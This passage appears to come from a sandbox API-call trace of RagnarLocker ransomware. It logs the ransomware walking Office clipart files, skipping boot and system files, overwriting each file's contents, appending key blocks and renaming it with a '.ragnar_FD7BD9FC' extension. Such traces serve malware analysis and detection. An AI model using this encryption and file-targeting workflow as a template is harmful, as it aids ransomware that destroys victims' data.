lpFileSize=0x1eaf7c*=41094) returned 1 [0086.257] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xa07d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.257] GetProcessHeap () returned 0x580000 [0086.257] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0086.257] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0086.258] VirtualAlloc (lpAddress=0x0, dwSize=0xa086, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0086.258] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.258] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0086.258] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xa086, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xa086, lpOverlapped=0x0) returned 1 [0086.260] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0086.260] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xa086, nNumberOfBytesToLockHigh=0x0) returned 1 [0086.260] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xa086, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xa086, lpOverlapped=0x0) returned 1 [0086.260] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xa086, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0086.260] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.261] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xa086, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.261] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0086.261] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0086.261] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0086.261] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0086.261] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0086.261] GetProcessHeap () returned 0x580000 [0086.261] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0086.261] CloseHandle (hObject=0xf4) returned 1 [0086.261] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232395.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232395.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232395.WMF" [0086.261] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232395.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232395.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232395.WMF.ragnar_FD7BD9FC" [0086.261] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232395.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232395.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232395.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232395.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0086.262] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5779c00, ftCreationTime.dwHighDateTime=0x1be05ef, ftLastAccessTime.dwLowDateTime=0x660a4230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5779c00, ftLastWriteTime.dwHighDateTime=0x1be05ef, nFileSizeHigh=0x0, nFileSizeLow=0x380a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0232795.WMF", cAlternateFileName="")) returned 1 [0086.262] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0086.262] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0232795.WMF" | out: lpString1="J0232795.WMF") returned="J0232795.WMF" [0086.262] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232795.WMF") returned=".WMF" [0086.262] lstrcmpiW (lpString1="J0232795.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0086.262] lstrcmpiW (lpString1="J0232795.WMF", lpString2="autorun.inf") returned 1 [0086.262] lstrcmpiW (lpString1="J0232795.WMF", lpString2="boot.ini") returned 1 [0086.262] lstrcmpiW (lpString1="J0232795.WMF", lpString2="bootfont.bin") returned 1 [0086.262] lstrcmpiW (lpString1="J0232795.WMF", lpString2="bootsect.bak") returned 1 [0086.262] lstrcmpiW (lpString1="J0232795.WMF", lpString2="bootmgr") returned 1 [0086.262] lstrcmpiW (lpString1="J0232795.WMF", lpString2="bootmgr.efi") returned 1 [0086.262] lstrcmpiW (lpString1="J0232795.WMF", lpString2="bootmgfw.efi") returned 1 [0086.262] lstrcmpiW (lpString1="J0232795.WMF", lpString2="desktop.ini") returned 1 [0086.262] lstrcmpiW (lpString1="J0232795.WMF", lpString2="iconcache.db") returned 1 [0086.262] lstrcmpiW (lpString1="J0232795.WMF", lpString2="ntldr") returned -1 [0086.262] lstrcmpiW (lpString1="J0232795.WMF", lpString2="ntuser.dat") returned -1 [0086.263] lstrcmpiW (lpString1="J0232795.WMF", lpString2="ntuser.dat.log") returned -1 [0086.263] lstrcmpiW (lpString1="J0232795.WMF", lpString2="ntuser.ini") returned -1 [0086.263] lstrcmpiW (lpString1="J0232795.WMF", lpString2="thumbs.db") returned -1 [0086.263] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0086.263] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0086.263] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0086.263] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0086.263] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0086.263] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0086.263] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0086.263] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232795.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232795.wmf")) returned 0x20 [0086.263] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232795.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232795.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0086.263] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=14346) returned 1 [0086.263] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x3801, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.263] GetProcessHeap () returned 0x580000 [0086.263] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0086.263] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0086.267] VirtualAlloc (lpAddress=0x0, dwSize=0x380a, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0086.267] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.267] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0086.267] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x380a, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x380a, lpOverlapped=0x0) returned 1 [0086.269] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0086.269] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x380a, nNumberOfBytesToLockHigh=0x0) returned 1 [0086.269] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x380a, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x380a, lpOverlapped=0x0) returned 1 [0086.269] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x380a, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0086.269] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.269] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x380a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.269] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0086.269] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0086.269] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0086.269] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0086.269] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0086.270] GetProcessHeap () returned 0x580000 [0086.270] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0086.270] CloseHandle (hObject=0xf4) returned 1 [0086.270] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232795.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232795.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232795.WMF" [0086.270] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232795.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232795.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232795.WMF.ragnar_FD7BD9FC" [0086.270] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232795.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232795.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232795.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232795.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0086.270] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb6d7d00, ftCreationTime.dwHighDateTime=0x1be05ef, ftLastAccessTime.dwLowDateTime=0x660a4230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb6d7d00, ftLastWriteTime.dwHighDateTime=0x1be05ef, nFileSizeHigh=0x0, nFileSizeLow=0x899c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0232797.WMF", cAlternateFileName="")) returned 1 [0086.270] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0086.270] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0232797.WMF" | out: lpString1="J0232797.WMF") returned="J0232797.WMF" [0086.270] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232797.WMF") returned=".WMF" [0086.270] lstrcmpiW (lpString1="J0232797.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0086.270] lstrcmpiW (lpString1="J0232797.WMF", lpString2="autorun.inf") returned 1 [0086.270] lstrcmpiW (lpString1="J0232797.WMF", lpString2="boot.ini") returned 1 [0086.270] lstrcmpiW (lpString1="J0232797.WMF", lpString2="bootfont.bin") returned 1 [0086.271] lstrcmpiW (lpString1="J0232797.WMF", lpString2="bootsect.bak") returned 1 [0086.271] lstrcmpiW (lpString1="J0232797.WMF", lpString2="bootmgr") returned 1 [0086.271] lstrcmpiW (lpString1="J0232797.WMF", lpString2="bootmgr.efi") returned 1 [0086.271] lstrcmpiW (lpString1="J0232797.WMF", lpString2="bootmgfw.efi") returned 1 [0086.271] lstrcmpiW (lpString1="J0232797.WMF", lpString2="desktop.ini") returned 1 [0086.271] lstrcmpiW (lpString1="J0232797.WMF", lpString2="iconcache.db") returned 1 [0086.271] lstrcmpiW (lpString1="J0232797.WMF", lpString2="ntldr") returned -1 [0086.271] lstrcmpiW (lpString1="J0232797.WMF", lpString2="ntuser.dat") returned -1 [0086.271] lstrcmpiW (lpString1="J0232797.WMF", lpString2="ntuser.dat.log") returned -1 [0086.271] lstrcmpiW (lpString1="J0232797.WMF", lpString2="ntuser.ini") returned -1 [0086.271] lstrcmpiW (lpString1="J0232797.WMF", lpString2="thumbs.db") returned -1 [0086.271] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0086.271] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0086.271] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0086.271] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0086.271] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0086.271] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0086.271] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0086.271] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232797.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232797.wmf")) returned 0x20 [0086.271] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232797.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232797.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0086.271] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=35228) returned 1 [0086.271] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x8993, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.272] GetProcessHeap () returned 0x580000 [0086.272] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0086.272] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0086.273] VirtualAlloc (lpAddress=0x0, dwSize=0x899c, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0086.273] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.273] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0086.273] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x899c, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x899c, lpOverlapped=0x0) returned 1 [0086.275] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0086.275] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x899c, nNumberOfBytesToLockHigh=0x0) returned 1 [0086.275] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x899c, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x899c, lpOverlapped=0x0) returned 1 [0086.275] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x899c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0086.275] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.275] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x899c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.276] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0086.276] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0086.276] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0086.276] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0086.276] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0086.276] GetProcessHeap () returned 0x580000 [0086.276] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0086.276] CloseHandle (hObject=0xf4) returned 1 [0086.276] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232797.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232797.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232797.WMF" [0086.276] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232797.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232797.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232797.WMF.ragnar_FD7BD9FC" [0086.276] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232797.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232797.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232797.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232797.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0086.277] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e804d00, ftCreationTime.dwHighDateTime=0x1be05ef, ftLastAccessTime.dwLowDateTime=0x565f5550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e804d00, ftLastWriteTime.dwHighDateTime=0x1be05ef, nFileSizeHigh=0x0, nFileSizeLow=0x4de6, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0232803.WMF", cAlternateFileName="")) returned 1 [0086.277] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0086.277] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0232803.WMF" | out: lpString1="J0232803.WMF") returned="J0232803.WMF" [0086.277] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232803.WMF") returned=".WMF" [0086.277] lstrcmpiW (lpString1="J0232803.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0086.277] lstrcmpiW (lpString1="J0232803.WMF", lpString2="autorun.inf") returned 1 [0086.277] lstrcmpiW (lpString1="J0232803.WMF", lpString2="boot.ini") returned 1 [0086.277] lstrcmpiW (lpString1="J0232803.WMF", lpString2="bootfont.bin") returned 1 [0086.277] lstrcmpiW (lpString1="J0232803.WMF", lpString2="bootsect.bak") returned 1 [0086.277] lstrcmpiW (lpString1="J0232803.WMF", lpString2="bootmgr") returned 1 [0086.277] lstrcmpiW (lpString1="J0232803.WMF", lpString2="bootmgr.efi") returned 1 [0086.277] lstrcmpiW (lpString1="J0232803.WMF", lpString2="bootmgfw.efi") returned 1 [0086.277] lstrcmpiW (lpString1="J0232803.WMF", lpString2="desktop.ini") returned 1 [0086.277] lstrcmpiW (lpString1="J0232803.WMF", lpString2="iconcache.db") returned 1 [0086.277] lstrcmpiW (lpString1="J0232803.WMF", lpString2="ntldr") returned -1 [0086.277] lstrcmpiW (lpString1="J0232803.WMF", lpString2="ntuser.dat") returned -1 [0086.277] lstrcmpiW (lpString1="J0232803.WMF", lpString2="ntuser.dat.log") returned -1 [0086.277] lstrcmpiW (lpString1="J0232803.WMF", lpString2="ntuser.ini") returned -1 [0086.277] lstrcmpiW (lpString1="J0232803.WMF", lpString2="thumbs.db") returned -1 [0086.277] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0086.277] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0086.277] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0086.277] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0086.277] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0086.277] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0086.277] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0086.277] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232803.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232803.wmf")) returned 0x20 [0086.278] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232803.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232803.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0086.278] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=19942) returned 1 [0086.279] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x4ddd, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.279] GetProcessHeap () returned 0x580000 [0086.279] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0086.279] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0086.280] VirtualAlloc (lpAddress=0x0, dwSize=0x4de6, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0086.280] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.280] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0086.280] ReadFile (in: 